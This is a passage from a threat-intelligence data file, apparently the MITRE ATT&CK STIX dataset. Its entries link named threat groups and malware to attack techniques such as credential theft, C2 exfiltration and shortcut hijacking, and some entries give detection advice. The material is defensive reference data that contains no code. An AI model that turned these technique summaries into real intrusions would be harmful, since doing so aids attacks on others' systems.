Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--410bd9e9-8ca7-4c3d-b517-e4d5b516333f","type":"relationship","created":"2021-09-28T18:53:02.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.314Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can modify the shortcut that launches Telegram by replacing its path with the malicious payload to launch with the legitimate executable.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--410d7922-e288-49ea-9607-27942505a416","created":"2019-09-24T12:31:43.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.511Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has created user accounts.(Citation: FireEye APT41 Aug 2019) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--410e0c58-d96c-40ae-bf00-2d4b414daf50","type":"relationship","created":"2020-03-20T00:17:48.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://citizenlab.org/2016/05/stealth-falcon/","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","source_name":"Citizen Lab Stealth Falcon May 2016"}],"modified":"2020-03-20T00:17:48.749Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from multiple sources, including Internet Explorer, Firefox, and Chrome.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--410ec59e-9e11-4acc-98d6-4d7c63f09c8d","type":"relationship","created":"2022-02-24T21:01:49.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-24T21:01:49.431Z","description":"[Lizar](https://attack.mitre.org/software/S0681) has used the PowerKatz plugin that can be loaded into the address space of a PowerShell process through reflective DLL loading.(Citation: BiZone Lizar May 2021) ","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--410f6714-cd02-4253-b324-a8ac15e70bca","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET T3 Threat Report 2021","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022.","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"MSTIC NOBELIUM May 2021","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"},{"source_name":"Secureworks IRON HEMLOCK Profile","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T19:33:09.241Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used spearphishing emails with an attachment to deliver files with exploits to initial victims.(Citation: F-Secure The Dukes)(Citation: MSTIC NOBELIUM May 2021)(Citation: ESET T3 Threat Report 2021)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41118997-c45e-4123-be61-1b0c5d456256","type":"relationship","created":"2021-01-13T18:23:50.498Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-14T15:36:30.804Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) encrypted log entries it collected with the stream cipher RC4 using a hard-coded key. It also uses AES128-CBC encrypted blobs for [SUNBURST](https://attack.mitre.org/software/S0559) source code and data extracted from the SolarWinds Orion process.(Citation: CrowdStrike SUNSPOT Implant January 2021)","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4113afe0-e84a-44ba-9180-3033de06d72e","type":"relationship","created":"2021-03-05T18:54:56.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.753Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used a function to gather the current time.(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4113ccd6-1134-4cef-bf5b-aca9a2364c82","type":"relationship","created":"2021-10-01T21:53:33.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.560Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) has exfiltrated data over its C2 channel.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41160796-9596-4a58-92a1-14dd3c9f4271","type":"relationship","created":"2021-09-28T18:53:02.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.300Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can upload data from the victim's machine to the C2 server.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--411aae3a-f612-41bb-b2f0-1639d2cbc290","created":"2019-04-12T16:59:08.010Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has stopped the MSExchangeIS service to render Exchange contents inaccessible to users.(Citation: Novetta Blockbuster Destructive Malware)","modified":"2022-07-28T18:55:36.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--411e562d-73f7-44d4-800f-7da9746f02d6","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for unexpected deletion to a file (ex: Sysmon EID 23) ","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--411ea36c-e237-4503-82f2-6e9d87a01380","type":"relationship","created":"2021-09-30T20:20:27.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T20:20:27.244Z","description":"[ProLock](https://attack.mitre.org/software/S0654) can use WMIC to execute scripts on targeted hosts.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4126e124-fb28-4274-a687-dc5344b34859","created":"2023-02-08T00:12:20.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:02:46.296Z","description":"[metaMain](https://attack.mitre.org/software/S1059) has stored the collected system files in a working directory.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--412a57f3-ce06-4790-8e3a-cb8c34b9e0f1","type":"relationship","created":"2020-11-06T18:40:38.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","source_name":"Cobalt Strike TTPs Dec 2017"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.122Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can exploit vulnerabilities such as MS14-058.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536","created":"2017-05-31T21:33:27.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureWorks BRONZE UNION June 2017","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","url":"https://www.secureworks.com/research/bronze-union"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"},{"source_name":"Nccgroup Emissary Panda May 2018","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.079Z","description":"(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--412c7c8b-4821-4f08-a3d2-2da034f8343f","type":"relationship","created":"2019-01-31T00:36:40.962Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2019-07-26T18:47:18.860Z","description":"[KONNI](https://attack.mitre.org/software/S0356) can collect the username from the victim’s machine.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4142c046-18da-4a55-8aad-84370121332d","type":"relationship","created":"2020-10-01T00:55:17.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T00:55:17.851Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4142d0fd-6c96-417f-8725-17eabf444854","type":"relationship","created":"2021-08-23T19:38:33.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Hornet Security Avaddon June 2020","url":"https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/","description":"Security Lab. (2020, June 5). Avaddon: From seeking affiliates to in-the-wild in 2 days. Retrieved August 19, 2021."},{"source_name":"Awake Security Avaddon","url":"https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/","description":"Gahlot, A. (n.d.). Threat Hunting for Avaddon Ransomware. Retrieved August 19, 2021."}],"modified":"2021-10-18T21:41:22.719Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has been executed through a malicious JScript downloader.(Citation: Hornet Security Avaddon June 2020)(Citation: Awake Security Avaddon)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4143e83e-40a1-4d10-babf-9affba3cb101","type":"relationship","created":"2020-06-19T19:08:40.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."},{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2020-08-31T13:34:16.246Z","description":"[Valak](https://attack.mitre.org/software/S0476) has used HTTP in communications with C2.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4146f8e7-c1f2-46b7-94ad-11d2fae5fa91","type":"relationship","created":"2022-03-30T14:26:51.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.877Z","description":"Malicious XDG autostart entries may be detected by auditing file creation events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--414a365a-e24b-44f2-8130-77435f2e18ef","created":"2023-03-26T18:08:22.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA ComRAT Oct 2020","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a"},{"source_name":"ESET ComRAT May 2020","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T18:25:18.305Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has stored encrypted orchestrator code and payloads in the Registry.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4151f66f-efcc-4c26-b3b6-8650c0a36258","type":"relationship","created":"2020-05-05T18:47:47.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.389Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a module for performing remote desktop access.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4153632f-9ac5-4f8b-af83-b4b089ce5429","created":"2023-06-29T18:08:54.117Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-29T18:08:54.117Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can encrypt the data beneath its http2 or tcp encryption at the session layer with CAST-128, using a different key for incoming and outgoing data.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41561c6a-7749-4607-a8d1-c094631b4aaa","type":"relationship","created":"2021-03-04T14:47:27.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}],"modified":"2021-03-04T14:47:27.401Z","description":"(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"malware--56f46b17-8cfa-46c0-b501-dd52fef394e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--415b6755-70d1-433c-b076-3598dcaa9c7d","created":"2022-04-18T16:29:39.563Z","x_mitre_version":"0.1","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Donut](https://attack.mitre.org/software/S0695) can generate shellcode outputs that execute via VBScript.(Citation: Donut 